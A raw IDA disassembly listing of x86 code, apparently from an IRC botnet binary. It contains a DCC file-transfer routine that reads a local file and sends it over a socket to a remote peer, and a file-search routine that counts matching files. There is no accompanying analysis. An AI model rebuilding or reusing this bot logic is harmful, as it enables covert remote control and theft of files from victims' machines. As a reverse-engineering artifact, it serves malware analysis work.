; Attributes: noreturn


sub_40C040	proc near		; CODE XREF: sub_401FCDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_402059
sub_40C040	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C060	proc near		; CODE XREF: sub_4020F9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_40C060	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C080	proc near		; CODE XREF: sub_401839j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_40C080	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C0A0	proc near		; CODE XREF: sub_40213Aj
		mov	eax, ecx
		retn
sub_40C0A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C0C0	proc near		; CODE XREF: sub_4014A6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40105A
		mov	eax, esi
		pop	esi
		retn	4
sub_40C0C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C0F0	proc near		; CODE XREF: sub_401CE9j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_40C0F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C120	proc near		; CODE XREF: sub_40106Ej

var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401B86
		mov	ecx, eax
		call	sub_4016A4
		mov	esi, eax
		push	esi
		call	sub_4020F9
		push	esi
		mov	ebx, eax
		call	sub_40213F
		mov	ecx, [eax]
		push	ecx
		call	sub_4020F9
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_40213F
		push	esi
		mov	ebx, eax
		call	sub_4020F9
		mov	eax, [eax]
		push	eax
		call	sub_40213F
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401839
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401221
		push	esi
		mov	ecx, edi
		call	sub_401FCD
sub_40C120	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C1E0	proc near		; CODE XREF: sub_40213Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_40C1E0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C200	proc near		; CODE XREF: sub_40155Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_40C200	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C230	proc near		; CODE XREF: sub_402059j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_40C230	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C250	proc near		; CODE XREF: sub_401F14j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4011AE
		add	esp, 8
		retn	8
sub_40C250	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C280	proc near		; CODE XREF: sub_40105Aj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_40C280	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C2A0	proc near		; CODE XREF: sub_4016A4j
		mov	eax, [ecx]
		retn
sub_40C2A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C2C0	proc near		; CODE XREF: sub_401B86j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40133E
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_40C2C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C2F0	proc near		; CODE XREF: sub_401221j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_2
		pop	ecx
		retn	4
sub_40C2F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C310	proc near		; CODE XREF: sub_4011AEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40C32B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40C32B:				; CODE XREF: sub_40C310+11j
		retn
sub_40C310	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C360	proc near		; CODE XREF: sub_401BE5j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40C360
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	4
		push	0Eh
		push	5
		push	13h
		push	4Fh
		push	3
		push	3
		lea	eax, [esp+48h+var_24]
		push	4
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_401681
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
sub_40C360	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C400	proc near		; CODE XREF: sub_401712j

var_AB4		= dword	ptr -0AB4h
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= byte ptr -0A9Ch
var_A98		= byte ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= dword	ptr -0A90h
var_A8C		= dword	ptr -0A8Ch
var_A88		= dword	ptr -0A88h
var_A84		= dword	ptr -0A84h
var_A78		= byte ptr -0A78h
var_A74		= dword	ptr -0A74h
var_A70		= byte ptr -0A70h
var_A6C		= byte ptr -0A6Ch
var_A5C		= byte ptr -0A5Ch
var_A54		= byte ptr -0A54h
var_A3C		= byte ptr -0A3Ch
var_A38		= byte ptr -0A38h
var_A24		= byte ptr -0A24h
var_A1C		= dword	ptr -0A1Ch
var_A18		= dword	ptr -0A18h
var_910		= byte ptr -910h
var_710		= byte ptr -710h
var_510		= byte ptr -510h
var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40C400
		push	eax
		mov	large fs:0, esp
		sub	esp, 0AA0h
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4014D3
		mov	ebp, [esp+0ABCh+arg_0]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40C94E
		lea	ecx, [esp+0ABCh+var_A78]
		call	sub_401091
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+0AC4h+var_A3C]
		xor	esi, esi
		push	1
		push	eax
		mov	ecx, ebp
		mov	[esp+0ACCh+var_4], esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+0AC0h+var_A70]
		mov	byte ptr [esp+0AC0h+var_4], 1
		call	sub_40200E
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		push	esi
		push	1
		push	2
		mov	[esp+0AC8h+var_AA8], esi
		mov	[esp+0AC8h+var_AA4], esi
		mov	[esp+0AC8h+var_A90], esi
		nop
		call	near ptr 71AB3B91h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+0ABCh+var_AAC], ebx
		jnz	short loc_40C4CC
		lea	ecx, [esp+0ABCh+var_710]
		push	offset aDccFailedToCre ; "[DCC]: Failed	to create socket."
		push	ecx
		nop
		call	sub_5EA1BD
		add	esp, 8
		jmp	loc_40C8F5
; ---------------------------------------------------------------------------


loc_40C4CC:				; CODE XREF: sub_40C400+AFj
		xor	edx, edx
		push	esi
		mov	[esp+0AC0h+var_AA0], edx
		mov	word ptr [esp+0AC0h+var_AA0], 2
		mov	dword ptr [esp+0AC0h+var_A9C], edx
		mov	dword ptr [esp+0AC0h+var_A98], edx
		mov	[esp+0AC0h+var_A94], edx
		call	near ptr 71AB2B66h
		nop
		mov	word ptr [esp+0ABCh+var_AA0+2],	ax
		lea	eax, [esp+0ABCh+var_AA0]
		push	10h
		push	eax
		push	ebx
		mov	dword ptr [esp+0AC8h+var_A9C], esi
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_40C51A
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		push	eax
		push	offset aDccFailedToBin ; "dcc: failed to bind socket"
		jmp	loc_40C5C0
; ---------------------------------------------------------------------------


loc_40C51A:				; CODE XREF: sub_40C400+105j
		lea	eax, [esp+0ABCh+var_A88]
		lea	ecx, [esp+0ABCh+var_AA0]
		push	eax
		push	ecx
		push	ebx
		mov	[esp+0AC8h+var_A88], 10h
		call	near ptr 71AB951Eh
		nop
		mov	edx, [esp+0ABCh+var_AA0+2]
		push	edx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esp+0ABCh+var_A70]
		mov	[esp+0ABCh+var_A8C], eax
		call	sub_4014D3
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+0ABCh+var_910]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		xor	edx, edx
		rep movsb


loc_40C573:				; CODE XREF: sub_40C400+1A3j
		mov	al, [esp+edx+0ABCh+var_910]
		cmp	al, 20h
		jnz	short loc_40C585
		mov	eax, 5Fh
		jmp	short loc_40C588
; ---------------------------------------------------------------------------


loc_40C585:				; CODE XREF: sub_40C400+17Cj
		movsx	eax, al


loc_40C588:				; CODE XREF: sub_40C400+183j
		mov	[esp+edx+0ABCh+var_510], al
		lea	edi, [esp+0ABCh+var_910]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jbe	short loc_40C573
		push	1
		push	ebx
		call	near ptr 71AB88D3h
		nop
		test	eax, eax
		jz	short loc_40C5DD
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		push	eax
		push	offset aDccFailedToOpe ; "dcc: failed to open socket"


loc_40C5C0:				; CODE XREF: sub_40C400+115j
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		jmp	loc_40C8EF
; ---------------------------------------------------------------------------


loc_40C5DD:				; CODE XREF: sub_40C400+1B0j
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		lea	ecx, [esp+0AD4h+var_A70]
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 2850000h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C644
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccFileDoesnTE ; "dcc: file doesn't exist"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	edx, [esp+0ABCh+var_710]
		push	offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist."
		push	edx
		call	sub_5EA1BD
		nop
		add	esp, 8
		jmp	loc_40C8EF
; ---------------------------------------------------------------------------


loc_40C644:				; CODE XREF: sub_40C400+201j
		push	0
		push	esi
		nop
		call	near ptr 2840C46h
		lea	ecx, [esp+0ABCh+var_A54]
		mov	ebx, eax
		call	sub_401424
		mov	eax, [esp+0ABCh+var_A8C]
		push	ebx
		and	eax, 0FFFFh
		mov	byte ptr [esp+0AC0h+var_4], 2
		push	eax
		mov	eax, dword_4D60BD
		push	eax
		call	sub_401DF7
		add	esp, 4
		push	eax
		call	near ptr 71AB2BF4h
		nop
		push	eax
		nop
		call	near ptr 71AB2BC0h
		push	eax
		lea	ecx, [esp+0AD0h+var_A78]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+0AD4h+var_A5C]
		push	offset dword_443A20
		push	ecx
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+15h]
		call	sub_401681
		push	eax
		lea	ecx, [esp+0AC8h+var_A5C]
		call	sub_4014D3
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		mov	edi, [esp+0AC4h+var_AB4]
		lea	ecx, [esp+0AC4h+var_A88]
		push	ecx
		push	0
		lea	edx, [esp+0ACCh+var_A1C]
		push	0
		push	edx
		push	0
		mov	[esp+0AD8h+var_A88], 3Ch
		mov	[esp+0AD8h+var_A84], 0
		mov	[esp+0AD8h+var_A18], edi
		mov	[esp+0AD8h+var_A1C], 1
		call	near ptr 71AB2DC0h
		nop
		test	eax, eax
		jg	short loc_40C73D
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccTimeout ; "dcc: timeout"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		jmp	loc_40C8DA
; ---------------------------------------------------------------------------


loc_40C73D:				; CODE XREF: sub_40C400+310j
		lea	edx, [esp+0ABCh+var_A84]
		lea	eax, [esp+0ABCh+var_A24]
		push	edx
		push	eax
		push	edi
		mov	[esp+0AC8h+var_A84], 10h
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		mov	[esp+0ABCh+var_A74], eax
		jnz	short loc_40C78D
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	offset aDccUnableToOpe ; "dcc: unable to open socket"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		jmp	loc_40C8DA
; ---------------------------------------------------------------------------


loc_40C78D:				; CODE XREF: sub_40C400+360j
		push	edi
		nop
		call	near ptr 71AB9639h
		test	ebx, ebx
		jz	loc_40C845


loc_40C79C:				; CODE XREF: sub_40C400+438j
		mov	ebp, 400h
		cmp	ebx, ebp
		jge	short loc_40C7A7
		mov	ebp, ebx


loc_40C7A7:				; CODE XREF: sub_40C400+3A3j
		mov	edx, ebx
		xor	eax, eax
		neg	edx
		push	2
		mov	ecx, 100h
		lea	edi, [esp+0AC0h+var_40C]
		push	eax
		push	edx
		push	esi
		rep stosd
		call	near ptr 2840000h
		nop
		lea	eax, [esp+0ABCh+var_A90]
		push	0
		push	eax
		lea	ecx, [esp+0AC4h+var_40C]
		push	ebp
		push	ecx
		push	esi
		call	near ptr 2830000h
		nop
		mov	eax, [esp+0ABCh+var_A74]
		push	0
		lea	edx, [esp+0AC0h+var_40C]
		push	ebp
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [esp+0ABCh+var_AA8]
		mov	ebp, [esp+0ABCh+var_AA4]
		mov	edi, eax
		push	0
		cdq
		add	ecx, eax
		push	400h
		mov	[esp+0AC4h+var_AA8], ecx
		lea	ecx, [esp+0AC4h+var_40C]
		adc	ebp, edx
		mov	edx, [esp+0AC4h+var_A74]
		push	ecx
		push	edx
		mov	[esp+0ACCh+var_AA4], ebp
		nop
		call	near ptr 71AB615Ah
		cmp	eax, 1
		jl	loc_40C90E
		cmp	edi, 1
		jl	loc_40C90E
		sub	ebx, edi
		jnz	loc_40C79C
		mov	ebp, [esp+0ABCh+arg_0]


loc_40C845:				; CODE XREF: sub_40C400+396j
		push	esi
		nop
		call	near ptr 28207FBh
		lea	ecx, [esp+0AB8h+var_A38]
		call	sub_401424
		mov	eax, [esp+0AB8h+var_AA0]
		mov	ecx, [esp+0AB8h+var_AA4]
		push	eax
		push	ecx
		lea	ecx, [esp+0AC0h+var_A6C]
		mov	byte ptr [esp+0AC0h], 3
		call	sub_4014D3
		mov	edx, [esp+0AC0h+var_A1C]
		push	eax
		push	edx
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+0ACCh+var_A3C]
		push	offset aDccCompleteToS ; "dcc: complete	to %s, file: %s, (%d byte"...
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+0AC0h+var_A3C]
		call	sub_4014D3
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 2
		call	sub_401226


loc_40C8DA:				; CODE XREF: sub_40C400+338j
					; sub_40C400+388j
		lea	ecx, [esp+0ABCh+var_A54]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		mov	ebx, [esp+0ABCh+var_AAC]


loc_40C8EF:				; CODE XREF: sub_40C400+1D8j
					; sub_40C400+23Fj
		xor	esi, esi
		cmp	ebx, esi
		jbe	short loc_40C8FC


loc_40C8F5:				; CODE XREF: sub_40C400+C7j
		push	ebx
		nop
		call	near ptr 71AB9639h


loc_40C8FC:				; CODE XREF: sub_40C400+4F3j
		mov	eax, [esp+0ABCh+var_A74]
		push	eax
		call	near ptr 71AB9639h
		nop
		push	esi
		nop
		call	near ptr 2820000h


loc_40C90E:				; CODE XREF: sub_40C400+427j
					; sub_40C400+430j
		mov	esi, [esp+0ABCh+arg_0]
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aDccSocketError ; "dcc: socket error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		mov	edx, [esp+0ABCh+var_A74]
		push	edx
		nop
		call	near ptr 71AB9639h
		push	1
		call	near ptr 2820000h
		nop


loc_40C94E:				; CODE XREF: sub_40C400+39j
		mov	ecx, [esp+0ABCh+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 0AACh
		retn	4
sub_40C400	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CAD0	proc near		; CODE XREF: sub_401091j
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8]
		call	sub_401424
		mov	eax, esi
		pop	esi
		retn
sub_40CAD0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CAF0:				; CODE XREF: ___:loc_401AFFj
		add	ecx, 8
		jmp	sub_401226
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40CB10	proc near		; CODE XREF: sub_402045j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CB10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	0Ch
		push	9
		lea	eax, [esp+38h+var_24]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
sub_40CB10	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CBB0	proc near		; CODE XREF: sub_401BA4j

var_279		= byte ptr -279h
var_278		= byte ptr -278h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= byte ptr -258h
var_247		= byte ptr -247h
var_232		= byte ptr -232h
var_221		= dword	ptr -221h
var_21D		= dword	ptr -21Dh
var_219		= dword	ptr -219h
var_215		= dword	ptr -215h
var_211		= dword	ptr -211h
var_20C		= byte ptr -20Ch
var_208		= byte ptr -208h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40CBB0
		push	eax
		mov	large fs:0, esp
		sub	esp, 270h
		add	ecx, 4
		push	esi
		call	sub_4014D3
		mov	esi, [esp+280h+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40CDAE
		push	ebx
		lea	ecx, [esp+284h+var_260]
		call	sub_40198D
		lea	eax, [esi+2Ah]
		xor	ebx, ebx
		push	eax
		lea	ecx, [esp+288h+var_25C]
		mov	[esp+288h+var_4], ebx
		mov	[esp+288h+var_260], ebx
		call	sub_40200E
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+28Ch+var_278]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+288h+var_247]
		call	sub_401A87
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+28Ch+var_278]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 2
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+288h+var_232]
		call	sub_401A87
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		mov	edx, [esp+284h+var_221]
		xor	eax, eax
		mov	al, [esi+94h]
		xor	ecx, ecx
		mov	cl, [esi+93h]
		mov	[esp+284h+var_219], eax
		lea	eax, [esp+284h+var_278]
		mov	[esp+284h+var_215], ecx
		push	edx
		push	eax
		lea	ecx, [esp+28Ch+var_232]
		mov	[esp+28Ch+var_21D], ebx
		mov	[esp+28Ch+var_211], 1
		call	sub_401E2E
		push	offset asc_443AF4 ; "\\"
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 3
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		setz	[esp+284h+var_279]
		call	sub_401226
		cmp	[esp+284h+var_279], bl
		jz	short loc_40CD2B
		mov	ecx, [esp+284h+var_221]
		lea	edx, [esp+284h+var_278]
		push	ecx
		push	edx
		lea	ecx, [esp+28Ch+var_232]
		call	sub_401E2E
		push	offset dword_446F64
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 4
		call	sub_401A87
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226


loc_40CD2B:				; CODE XREF: sub_40CBB0+142j
		push	ebx
		lea	ecx, [esp+288h+var_232]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+28Ch+var_247]
		call	sub_4014D3
		push	eax
		mov	eax, [esp+290h+var_219]
		push	eax
		lea	ecx, [esp+294h+var_25C]
		call	sub_401681
		mov	ecx, [esp+294h+var_260]
		push	eax
		push	ecx
		call	sub_402257
		add	esp, 18h
		lea	edx, [esp+284h+var_20C]
		push	eax
		push	offset aFilesFoundD ; "Files Found: %d"
		push	edx
		call	sub_5EA1BD
		nop
		mov	eax, [esp+28Ch+var_211]
		add	esp, 0Ch
		cmp	eax, ebx
		jnz	short loc_40CD99
		mov	eax, [esp+280h+var_215]
		lea	ecx, [esp+280h+var_208]
		push	eax
		push	ecx
		lea	ecx, [esp+288h+var_258]
		call	sub_401681
		mov	edx, [esp+288h+var_25C]
		push	eax
		push	edx
		call	sub_401523
		add	esp, 10h


loc_40CD99:				; CODE XREF: sub_40CBB0+1C6j
		mov	eax, [esp+280h+var_219]
		push	eax
		call	sub_401E24
		add	esp, 4
		push	ebx
		nop
		call	near ptr 2820000h
		pop	ebx


loc_40CDAE:				; CODE XREF: sub_40CBB0+36j
		mov	ecx, [esp+280h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 27Ch
		retn	4
sub_40CBB0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CE60	proc near		; CODE XREF: sub_40198Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CE60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_401424
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_40CE60	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CEE0:				; CODE XREF: ___:loc_40226Bj
		push	0FFFFFFFFh
		push	offset loc_438D86
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+2Eh]
		mov	dword ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		lea	ecx, [esi+4]
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CF60	proc near		; CODE XREF: sub_402257j

var_548		= byte ptr -548h
var_51C		= byte ptr -51Ch
var_51B		= byte ptr -51Bh
var_408		= byte ptr -408h
var_304		= byte ptr -304h
var_200		= byte ptr -200h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h

		sub	esp, 548h
		lea	eax, [esp+548h+var_408]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+554h+arg_10]
		push	edi
		mov	edi, dword_50FAD8
		push	esi
		push	offset aS_2	; "%s\\*"
		push	104h
		push	eax
		call	edi	; _snprintf
		add	esp, 10h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		nop
		call	near ptr 2870000h
		mov	ebp, [esp+558h+arg_14]
